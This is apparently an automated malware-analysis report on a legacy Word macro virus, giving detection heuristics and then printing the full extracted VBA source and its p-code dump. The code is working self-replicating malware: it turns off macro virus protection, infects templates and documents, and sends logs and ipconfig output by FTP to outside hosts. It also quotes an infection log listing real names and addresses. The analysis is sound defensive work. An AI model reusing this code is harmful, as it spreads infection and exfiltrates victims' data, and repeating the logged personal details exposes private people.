MALICIOUS
366
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1547.001 Registry Run Keys / Startup Folder
The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are indicative of malicious intent. The VBA script explicitly attempts to download a payload from 'ftp://209.201.88.110/incoming' and save it as 'c:\hsf????.sys', and also writes 'o 209.201.88.110\nuser anonymous\npass itsme@\ncd incoming\n' to 'c:\netldx.vxd'. Furthermore, it attempts to establish persistence by writing to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.
Heuristics 10
-
ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Bare IPv4 address in VBA string literal (1 address) low OLE_VBA_BARE_IPV4_LITERALVBA source contains one or more globally-routable IPv4 addresses as plain string literals with no URL scheme. These are commonly C2 or download hosts that only get http:// prepended at runtime, so the normal URL extractors miss them. Surfaced as http://<ip> IOCs. Private, reserved and version/build-shaped values are excluded.
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://209.201.88.110 Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 50115 bytes |
SHA-256: 36eb3b7abc42d6f6ca0eec3096e8c3d710057f66b433e10d9d36c8ad4b1e741a |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 11:37:56 AM - Tuesday, 29 Dec 1998
' Dan Ross
'
' 09:50:06 AM - Monday, 11 Jan 1999
' Karen M. Pinks
'
' 04:41:03 PM - Thursday, 21 Jan 1999
' george w. connelly
'
' 06:35:17 PM - Tuesday, 26 Jan 1999
' lynn ann casey
'
' 10:10:39 - Wednesday, 27 Jan 1999
' Jo Baldock
'
' 01:12:17 PM - Monday, 1 Feb 1999
' lisa m. lawrence
'
' 04:30:56 - Wednesday, 3 Feb 1999
' MoBE Support
'
' 11:45:33 AM - Monday, 1 Mar 1999
' Darryl Johnson
'
' 06:02:34 AM - Friday, 12 Mar 1999
' MOBE_USER
'
' 08:26:46 PM - Friday, 19 Mar 1999
' Joline Treanor
'
' 03:24:48 PM - Tuesday, 27 Apr 1999
' Tracey Flynn
'
' 01:32:13 PM - Wednesday, 12 May 1999
' Lakewood User
'
' 07:29:12 AM - Thursday, 3 Jun 1999
' EXPRESS Interactive Solutions
'
' 01:38:10 PM - Thursday, 12 Aug 1999
' Gloria McLenighan
'
' 04:37:18 PM - Monday, 23 Aug 1999
' Mike Fuentes
' 219 Main Street SE
' Suite 500
' Minneapolis, Minnesota 55414
' 01:23:48 PM - Tuesday, 24 Aug 1999
' Cynthia Kane
' Express Interactive Solutions
' 219 Main Street SE
' Suite 500
' Minneapolis, Minnesota 55414
' 01:32:01 PM - Wednesday, 1 Sep 1999
' Cynthia Kane
' Express Interactive Solutions
' 219 Main Street SE
' Suite 500
' Minneapolis, Minnesota 55414
' 11:05:14 AM - Thursday, 2 Sep 1999
' Todd Darling
'
' 10:00:12 AM - Thursday, 9 Mar 2000
' Compaq
'
' 07:26:28 AM - Friday, 28 Apr 2000
' Valued Gateway Customer
'
' 01:42:01 PM - Thursday, 9 Nov 2000
' Shorewood School District
'
' 02:21:47 PM - Monday, 11 Dec 2000
' Shorewood High School
' Erik Olson
' 2837 N. Frederick Avenue
' Milwaukee, WI 53211
' 01:13:08 PM - Thursday, 8 Feb 2001
' Shorewood High School
'
' 02:46:59 PM - Tuesday, 27 Feb 2001
' Shorewood High School
'
' 11:04:45 AM - Tuesday, 6 Mar 2001
' Shorewood High School
'
' 01:45:00 PM - Thursday, 22 Mar 2001
' SHOREWOOD HIGH SCHOOL
'
' 04:58:58 PM - Wednesday, 11 Apr 2001
' Sorensen
'
' 08:18:42 AM - Thursday, 12 Sep 2002
' Ripples/Copperdome
'
' 01:24:15 PM - Friday, 13 Sep 2002
' Riples/Copperdome
'
' 08:51:08 PM - Monday, 16 Sep 2002
' Louis Wasserman
'
' 11:51:09 PM - Tuesday, 29 Oct 2002
' Ripples/Copperdome
'
' 12:31:15 PM - Saturday, 2 Nov 2002
' William Cocroft
'
' 08:30:07 PM - Tuesday, 19 Nov 2002
' Ripples/Copperdome
'
' 03:56:30 PM - Tuesday, 11 Feb 2003
' Shorewood School District
'
' 01:48:10 PM - Tuesday, 25 Mar 2003
' Shorewood School District
'
Attribute VB_Name = "groovie"
Public WhoAmI As String
Public DataDot As Boolean
Public NormInstalled As Boolean
Public DocInstalled As Boolean
Public NormReadOnly As Boolean
Public HoldDoc As String
Public DocThere As Boolean
Public Final_Close_Called As Boolean
Function ID_Status()
On Error Resume Next
If MacroContainer = NormalTemplate Then
WhoAmI = "normal"
GoTo checkout
End If
If MacroContainer = ActiveDocument Then WhoAmI = "document"
If MacroContainer = "data.dot" Then WhoAmI = "orbit"
checkout:
End Function
Function Install_Status()
On Error Resume Next
If Dir(Application.StartupPath + "\data.dot") = "data.dot" Then DataDot = True
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "groovie" Then DocInstalled = True
Next i
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "groovie" Then NormInstalled = True
Next i
If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Or _
GetAttr(NormalTemplate.FullName) = vbReadOnly Then NormReadOnly = True
End Function
Function The_Groovie_Core()
On Error Resume Next
Call ID_Status
Call Install_Status
If WhoAmI = "document" Then Call DocCodeCore
If WhoAmI = "normal" Then Call NormCodeCore
If WhoAmI = "orbit" Then Call OrbitCoreCode
If NormReadOnly = False Then CommandBars("tools").Controls("Macro").Delete
If NormReadOnly = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
End Function
Function DocCodeCore()
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("groovie").Export "c:\groovie.sys"
If NormInstalled = False And NormReadOnly = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\groovie.sys")
End With
End With
End If
If DataDot = False Then
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If Final_Close_Called = False Then Documents.Open FileName:=HoldDoc
Shell ("label c: groovie"), 0
Windows(1).Close
End If
End Function
Function NormCodeCore()
On Error Resume Next
Application.ScreenUpdating = False
Call Check_For_Doc
If DocInstalled = False And DocThere = True Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\groovie.sys")
End With
End With
With Dialogs(wdDialogFileSummaryInfo)
.Comments = "ALT-F11 says it's groovie!"
.Execute
End With
End If
If DataDot = False And DocThere = True Then
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
If Final_Close_Called = False Then Documents.Open FileName:=HoldDoc
Windows(1).Close SaveChanges:=wdSaveChanges
End If
If DataDot = False And DocThere = False Then
Documents.Add Template:="", NewTemplate:=False
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
Windows(1).Close SaveChanges:=wdSaveChanges
End If
Application.ScreenUpdating = True
End Function
Function OrbitCoreCode()
On Error Resume Next
Application.ScreenUpdating = False
If NormInstalled = False And NormReadOnly = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\groovie.sys")
End With
End With
NormalTemplate.Save
End If
If DocInstalled = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\groovie.sys")
End With
End With
With Dialogs(wdDialogFileSummaryInfo)
.Comments = "ALT-F11 says it's groovie!"
.Execute
End With
End If
Application.ScreenUpdating = True
End Function
Function Groovie_Run()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
HoldDoc = ActiveDocument.FullName
Call The_Groovie_Core
Randomize
rn = Int(Rnd * 5)
If rn = 3 Then Call IP_Love_You
End Function
Sub AutoOpen()
On Error Resume Next
Call Groovie_Run
End Sub
Sub AutoClose()
On Error Resume Next
Final_Close_Called = True
Call Groovie_Run
End Sub
Sub AutoExit()
On Error Resume Next
Final_Close_Called = True
Call Groovie_Run
End Sub
Sub FileSaveAs()
On Error Resume Next
Call Groovie_Run
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub filesave()
On Error Resume Next
Call Groovie_Run
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Sub fileclose()
On Error Resume Next
Final_Close_Called = True
Call Groovie_Run
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
ActiveDocument.Close
End Sub
Sub fileprint()
On Error Resume Next
Call Groovie_Run
Dialogs(wdDialogFilePrint).Show
End Sub
Function IP_Love_You()
On Error Resume Next
Shell ("ipconfig /all /batch c:\ip.txt"), 0
Call mscript("c:\script.sys")
Shell ("ftp -s:c:\script.sys complex.is"), 0
End Function
Function mscript(strFile As String)
Randomize
On Error Resume Next
one = Application.UserName
two = Application.UserInitials
rn = Int(Rnd * 999)
Dim hFile As Long
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "anonymous"
Print #hFile, one & "@" & two & ".com"
Print #hFile, "cd incoming"
Print #hFile, "send"
Print #hFile, "c:\ip.txt"
Print #hFile, rn + rn & "." & two
Print #hFile, "quit"
Close hFile
End Function
Sub viewvbcode()
MsgBox "It's GROOVIE", vbOKOnly, "• ALT-F11 • says..."
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Function Check_For_Doc()
On Error GoTo docek
If ActiveDocument.Name <> "" Then
DocThere = True
End If
GoTo over
docek:
DocThere = False
over:
End Function
' Processing file: /tmp/qstore_xqfnml1e
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14601 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' OnError (Resume Next)
' Line #3:
' Line #4:
' Dim (Const)
' LitStr 0x0014 "<- this is a marker!"
' VarDefn Marker
' Line #5:
' Line #6:
' QuoteRem 0x0000 0x0011 "Declare Variables"
' Line #7:
' Dim
' VarDefn SaveDocument
' VarDefn SaveNormalTemplate
' VarDefn DocumentInfected
' VarDefn NormalTemplateInfected (As Boolean)
' Line #8:
' Dim
' VarDefn ad
' VarDefn nt (As Object)
' Line #9:
' Dim
' VarDefn OurCode
' VarDefn UserAddress
' VarDefn LogData
' VarDefn LogFile (As String)
' Line #10:
' Line #11:
' QuoteRem 0x0000 0x0014 "Initialize Variables"
' Line #12:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set ad
' Line #13:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set nt
' Line #14:
' Line #15:
' Ld Marker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld ad
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St DocumentInfected
' Line #16:
' Ld Marker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld nt
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St NormalTemplateInfected
' Line #17:
' Line #18:
' Line #19:
' QuoteRem 0x0000 0x001E "Switch the VirusProtection OFF"
' Line #20:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #21:
' Line #22:
' Line #23:
' ArgsLd Now 0x0000
' ArgsLd Day 0x0001
' LitDI2 0x0001
' Eq
' Paren
' LitStr 0x0000 ""
' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' LitStr 0x0007 "LogFile"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitVarSpecial (False)
' Eq
' Paren
' And
' IfBlock
' Line #24:
' Line #25:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #26:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St LogData
' Line #27:
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' ElseIfBlock
' Line #28:
' LitDI2 0x0001
' Ld nt
' MemLd CodeModule
' MemLd CountOfLines
' Ld nt
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St LogData
' Line #29:
' EndIfBlock
' Line #30:
' Line #31:
' Ld LogData
' LitDI2 0x0001
' Ld LogData
' LitStr 0x0005 "' Log"
' LitStr 0x0008 "file -->"
' Concat
' FnInStr3
' Ld LogData
' FnLen
' LitDI2 0x0001
' Ld LogData
' LitStr 0x0005 "' Log"
' LitStr 0x0008 "file -->"
' Concat
' FnInStr3
' Sub
' ArgsLd Mid$ 0x0003
' St LogData
' Line #32:
' Line #33:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #34:
' Ld LogFile
' LitDI2 0x0008
' Ld Rnd
' Mul
' FnInt
' ArgsLd Str 0x0001
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Add
' St LogFile
' Line #35:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #36:
' LitStr 0x0006 "C:\hsf"
' Ld LogFile
' Concat
' LitStr 0x0004 ".sys"
' Concat
' St LogFile
' Line #37:
' Line #38:
' Ld LogFile
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #39:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld LogData
' PrintItemNL
' Line #40:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #41:
' Line #42:
' LitStr 0x000D "c:\netldx.vxd"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #43:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0010 "o 209.201.88.110"
' PrintItemNL
' Line #44:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000E "user anonymous"
' PrintItemNL
' Line #45:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "pass itsme@"
' PrintItemNL
' Line #46:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "cd incoming"
' PrintItemNL
' Line #47:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0005 "ascii"
' PrintItemNL
' Line #48:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "put "
' Ld LogFile
' Concat
' PrintItemNL
' Line #49:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "quit"
' PrintItemNL
' Line #50:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #51:
' Line #52:
' LitStr 0x002A "command.com /c ftp.exe -n -s:c:\netldx.vxd"
' Ld vbHide
' ArgsCall Shell 0x0002
' Line #53:
' Line #54:
' LitVarSpecial (True)
' LitStr 0x0000 ""
' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' LitStr 0x0007 "LogFile"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #55:
' Line #56:
' EndIfBlock
' Line #57:
' Line #58:
' Line #59:
' QuoteRem 0x0000 0x004D "Make sure that some conditions are true before we continue infecting anything"
' Line #60:
' LineCont 0x0008 0B 00 03 00 12 00 03 00
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Xor
' Paren
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatDocument
' Eq
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatTemplate
' Eq
' Or
' Paren
' And
' IfBlock
' Line #61:
' Line #62:
' Line #63:
' QuoteRem 0x0002 0x0019 "Infect the NormalTemplate"
' Line #64:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #65:
' Line #66:
' Ld NormalTemplate
' MemLd Saved
' St SaveNormalTemplate
' Line #67:
' Line #68:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #69:
' Line #70:
' Line #71:
' QuoteRem 0x0004 0x0031 "Write a log file of this NormalTemplate infection"
' Line #72:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld Application
' MemLd UserAddress
' FnLen
' For
' Line #73:
' Ld Application
' MemLd UserAddress
' Ld i
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #74:
' Ld Application
' MemLd UserAddress
' Ld i
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #75:
' Ld UserAddress
' Ld Application
' MemLd UserAddress
' Ld i
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Concat
' St UserAddress
' Line #76:
' EndIfBlock
' Line #77:
' ElseBlock
' Line #78:
' Ld UserAddress
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' St UserAddress
' Line #79:
' EndIfBlock
' Line #80:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #81:
' Line #82:
' LineCont 0x0010 09 00 0E 00 12 00 15 00 1E 00 0E 00 29 00 0E 00
' Ld OurCode
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Time
' LitStr 0x0010 "hh:mm:ss AMPM - "
' ArgsLd Format$ 0x0002
' Concat
' Ld Date
' LitStr 0x0010 "dddd, d mmm yyyy"
' ArgsLd Format$ 0x0002
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Application
' MemLd UserName
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld UserAddress
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.